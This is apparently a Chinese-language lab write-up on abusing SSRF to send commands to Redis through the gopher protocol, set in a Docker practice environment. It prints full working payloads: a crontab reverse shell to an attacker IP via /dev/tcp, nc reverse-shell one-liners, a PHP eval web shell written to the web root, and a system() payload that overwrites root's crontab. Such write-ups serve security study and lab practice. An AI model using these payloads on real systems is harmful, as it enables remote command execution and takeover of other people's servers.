SSRF Redis

23

原理

Redis 可以接收从外部传来的命令, 像下面这样:

telnet 0 6379
set name "test"
get name

还有一种格式可以避免使用引号:

*3
$3
set
$4
name
$4
test

* 表示命令有几部分

$ 表示字符的长度

Redis 的协议是一个简单文本流协议

所以我们也可以通过 HTTP 协议来访问 Redis, 但由于在 3.2.7 版本之后 HTTP Header 中有 POST (QUIT 的别名) 和 HOST 等 Redis 命令, 连接会终止. 如果非要使用 HTTP 那就必须再结合 CRLF 漏洞

通过源码我们看到 redis 是支持 Pipe 的, 也就是可以通过操作 fd 中的文件描述符来传输数据, 也就是说我们不止可以用 HTTP 等等 socket 的方式连接, 使用任何可以写入 fd 的手段都可以

lrwx------ root root 64 B Fri Jul  5 17:01:13 2024 0 ⇒ /dev/null
lrwx------ root root 64 B Fri Jul  5 17:01:13 2024 1 ⇒ /dev/null
lrwx------ root root 64 B Fri Jul  5 17:01:13 2024 2 ⇒ /dev/null
lr-x------ root root 64 B Fri Jul  5 17:01:13 2024 3 ⇒ pipe:[7606]
l-wx------ root root 64 B Fri Jul  5 17:01:13 2024 4 ⇒ pipe:[7606]
lrwx------ root root 64 B Fri Jul  5 17:01:13 2024 5 ⇒ anon_inode:[eventpoll]
lrwx------ root root 64 B Fri Jul  5 17:01:13 2024 6 ⇒ socket:[889]
lrwx------ root root 64 B Fri Jul  5 17:01:13 2024 7 ⇒ socket:[890]

于是就可以有下面的操作, 我这里的 pid 是 27:

2024-07-06-02.54.26

2024-07-06-02.54.39

那么如果出现了 SSRF 漏洞, 也就意味着我们可以用任何协议来访问 redis

Redis SSRF 执行命令

环境为: Web-Hacking-Lab 以 docker-compose 的方式部署

在这里我只使用 ubuntu 的 docker 环境, centos 是一样的原理

docker 环境环境开放的端口:

  • 1111:8080
  • 10024:22

这个是用 SSRF 漏洞来让 Redis 执行命令

这里我们用到一种很方便的协议: gopher

什么是 gopher

是 HTTP 的前身

访问格式:

  • 发起 POST 请求时, 回车换行需要使用 %0d%0a 代替, 结尾也要加上 %0d%0a
  • 参数之间的 & 需要进行URL编码
  • 参数以 _ 开头 , 否则第一个字符会被吞掉

为什么要用 gopher

一个原因就是它非常灵活

这里可以用 nc 监听一个端口, 用 http 和 gopher 都访问一次, 你就会发现 http 有大量请求头等数据, 而 gopher 没有任何额外的数据

在本例中我们就可以用 gopher 就可以不产生任何 redis 无法识别的数据等

那么原理总结就是, 例如 gohper 协议构造包含 redis 命令的 payload, 触发 SSRF 漏洞, 最终我们就可以完成命令执行

定时反弹 SHELL

在执行命令的时候可以写入定时任务, 来反弹 shell, 加强对目标主机的控制

反弹 shell 有很多种方式, 比如用 nc:

mkfifo fifo
nc -u {ip} {port} < fifo |
{ 
  bash
} > fifo

或者重定向:

/bin/bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1

类似上面介绍过的 fd, 把 bash -i 启动的新 shell, 通过 >& 把标准输出和标准错误都重定向到 /dev/tcp/{ip}/{port} 中也就是攻击机中, 最后将/dev/tcp/{ip}/{port}0 标准输入重定向到 1 标准输出中

要构造反弹 shell 的 gopher 请求, 我的环境中, 攻击机 ip 为 192.168.10.187, 我们反弹到 888 端口上

*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/192.168.10.187/888 0>&1

接下来就是将这句代码通过 gopher 协议让 redis 执行

构造 payload

*1
$8
flushall
*3
$3
set
$1
1
$74


*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.10.187/888 0>&1'


*4
$6
config
$3
set
$3
dir
$24
/var/spool/cron/crontabs
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
*1
$4
quit

payload 就是将这段数据用上文提到的 gopher 协议格式组装起来, 然后经过 URL 编码就可以得到

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2474%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20/bin/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/192.168.10.187/888%200%3E%261%27%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2424%0D%0A/var/spool/cron/crontabs%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

监听反弹 shell

在攻击机上, 利用 netcat 或者其他工具来监听 888 端口:

bash -c 'nc -lvnp 888'

使用 bash -c 来运行, 是为了让两边的 shell 统一为 bash

SSRF

接下来就是将 payload 输入到 input 控件中利用 ssrf 将恶意代码发送给 redis 执行

点击 Fetch 后发现报错了, 信息如下:

2024-07-06-12.04.00

这是环境的问题, 目前 ubuntu 安装的 redis 最新版的配置中 enable-protected-configs 值为 no, 也就是说不能动态的设置这些受保护的配置, 我们直接在 redis 设置中开启就好

完成上述步骤, 写入 crontab 成功后并没有反弹 shell, 这是因为 ubuntu 执行 crontab 的机制

redis 写入会多写入缓存码, centos 会忽略到这些无法识别的字符, 从而正常执行, 但 ubuntu 并不会忽略, 所以 ubuntu 这样反弹不了 shell

2024-07-06-12.58.37

web shell

我们也可以换一下思路, 如果可以写入定时任务, 那么我写入 webshell 试一试:

web.php:

<?php
@eval($_REQUEST['cmd']);
?>
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2437%0D%0A%0A%0A%3C%3Fphp%0A%40eval%28%24_REQUEST%5B%27cmd%27%5D%29%3B%0A%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%244%0D%0A/www%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%247%0D%0Aweb.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

访问 web.php:

2024-07-06-13.12.22

成功写入 web shell, 接下来用 web shell 完成操作就可以, 比如我现在可以通过 web shell 来完成定时反弹 shell 了

payload:

system('echo "*/1 * * * * /bin/bash -c \'bash -i >& /dev/tcp/192.168.10.187/888 0>&1\'" > /var/spool/cron/crontabs/root');

因为其中有特殊字符, 所以将 payload 进行 URL 编码:

system%28%27echo%20%22%2A%2F1%20%2A%20%2A%20%2A%20%2A%20%2Fbin%2Fbash%20%2Dc%20%5C%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F192%2E168%2E10%2E187%2F888%200%3E%261%5C%27%22%20%3E%20%2Fvar%2Fspool%2Fcron%2Fcrontabs%2Froot%27%29%3B

2024-07-06-14.26.44

到此成功定时反弹 shell

需要注意的问题

  1. redis 写入的 crontab 文件, ubuntu 无法执行
  2. 两边的 shell 要统一, 如果使用 sh, 那么你需要知道的是, ubuntu 的 sh 是指向 dash 的

写入公钥

在这个漏洞环境中, 还开放了 22 端口, 于是我们可以通过 redis 来写入公钥, 从而 ssh 登陆上目标机

2024-07-06-14.46.25

成功登陆